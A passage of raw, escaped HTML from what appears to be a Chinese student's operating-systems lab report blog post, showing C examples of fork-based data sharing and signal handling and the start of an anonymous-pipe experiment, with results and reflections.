class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data = \u003cspan class=\"number\"\u003e123\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] main process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc = fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Fork failed.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] sub process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e data+=\u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] sub process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e wc=wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] main process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-1\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523164141.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,两个线程都能访问和修改全局变量\u003ccode\u003ecount\u003c/code\u003e,但是由于没有同步机制,导致输出结果不确定,有时候会出现两个线程同时输出相同的值。\u003c/p\u003e\u003ch3 id=\"五、实验心得-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-1\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下创建多线程的方法,知道了如何使用全局变量作为进程数据,在线程之间进行数据共享。同时,我也意识到了线程之间存在数据竞争的问题,需要使用同步机制来保证数据的一致性和正确性。\u003c/p\u003e\u003ch2 id=\"实验3:信号通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C3%EF%BC%9A%E4%BF%A1%E5%8F%B7%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"实验3:信号通信\"\u003e\u003c/a\u003e实验3:信号通信\u003c/h2\u003e\u003ch3 id=\"一、实验目标-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-2\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解信号通信的原理和用法\u003c/li\u003e\u003cli\u003e使用信号通信实现父子进程之间的简单交互\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-2\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003esignal.h\u003c/code\u003e和\u003ccode\u003eunistd.h\u003c/code\u003e。在主程序中调用\u003ccode\u003efork()\u003c/code\u003e创建子进程,并根据函数返回值确定进程类型,并执行相应操作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程使用\u003ccode\u003esleep()\u003c/code\u003e函数延迟一段时间后,使用\u003ccode\u003ekill()\u003c/code\u003e函数向父进程发送一个信号(如SIGUSR1)。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程定义一个信号处理函数\u003ccode\u003esighandler()\u003c/code\u003e,并使用\u003ccode\u003esignal()\u003c/code\u003e函数将该函数绑定到子进程发送的信号上。在信号处理函数中,打印出收到信号的信息,并使用\u003ccode\u003eexit()\u003c/code\u003e函数终止父进程。\u003c/p\u003e\u003ch3 id=\"三、实验代码-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-2\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e pid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esigchld_handler\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e sig)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(sig==SIGCHLD){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wait(\u0026amp;pid);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(WIFEXITED(pid)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SIGCHLD-\u0026gt;%d\\n\u0026#34;\u003c/span\u003e, WEXITSTATUS(pid));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(sig==SIGINT){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SIGINT\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e signal(SIGINT , sigchld_handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e signal(SIGCHLD, sigchld_handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Fork failed.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// child process\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[child_pid %d]started child process.\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[child_pid %d]running child process.\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(!WIFEXITED(pid));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-2\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523164421.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,父进程成功接收到了子进程发送的信号,并执行了相应的处理函数。\u003c/p\u003e\u003ch3 id=\"五、实验心得-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-2\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下信号通信的原理和用法,知道了如何使用系统调用来发送和接收信号,在父子进程之间进行简单交互。同时,我也了解了信号处理函数的编写方法和注意事项。\u003c/p\u003e\u003ch2 id=\"实验4:匿名管道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C4%EF%BC%9A%E5%8C%BF%E5%90%8D%E7%AE%A1%E9%81%93\" class=\"headerlink\" title=\"实验4:匿名管道\"\u003e\u003c/a\u003e实验4:匿名管道\u003c/h2\u003e\u003ch3 id=\"一、实验目标-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-3\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解匿名管道的原理和用法\u003c/li\u003e\u003cli\u003e使用匿名管道实现父子进程之间的双向通信\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-3\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建两个单文档应用程序Parent和Child作为父子进程。在Parent中引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中使用\u003ccode\u003epipe()\u003c/code\u003e函数创建一个匿名管道,并使用\u003ccode\u003efork()\u003c/code\u003e函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程关闭管道的写端,并使用\u003ccode\u003edup2()\u003c/code\u003e函数将管道的读端重定向到标准输入。然后使用\u003ccode\u003eexeclp()\u003c/code\u003e函数执行Child程序。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程关闭管道的读端,并使用\u003ccode\u003edup2()\u003c/code\u003e函数将管道的写端重定向到标准输出。然后使用\u003ccode\u003eprintf()\u003c/code\u003e函数向管道写入数据,并使用\u003ccode\u003ewait()\u003c/code\u003e函数等待子进程结束。\u003c/p\u003e\u003cp\u003e在Child程序中,引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中使用\u003ccode\u003escanf()\u003c/code\u003e函数从标准输入读取数据,并打印出来。\u003c/p\u003e\u003cp\u003e此处我使用\u003ccode\u003efork()\u003c/code\u003e创建了两个进程来模拟父子进程通信,从原理上和两个单独进程的效果一样。\u003c/p\u003e\u003ch3 id=\"三、实验代码-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-3\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan 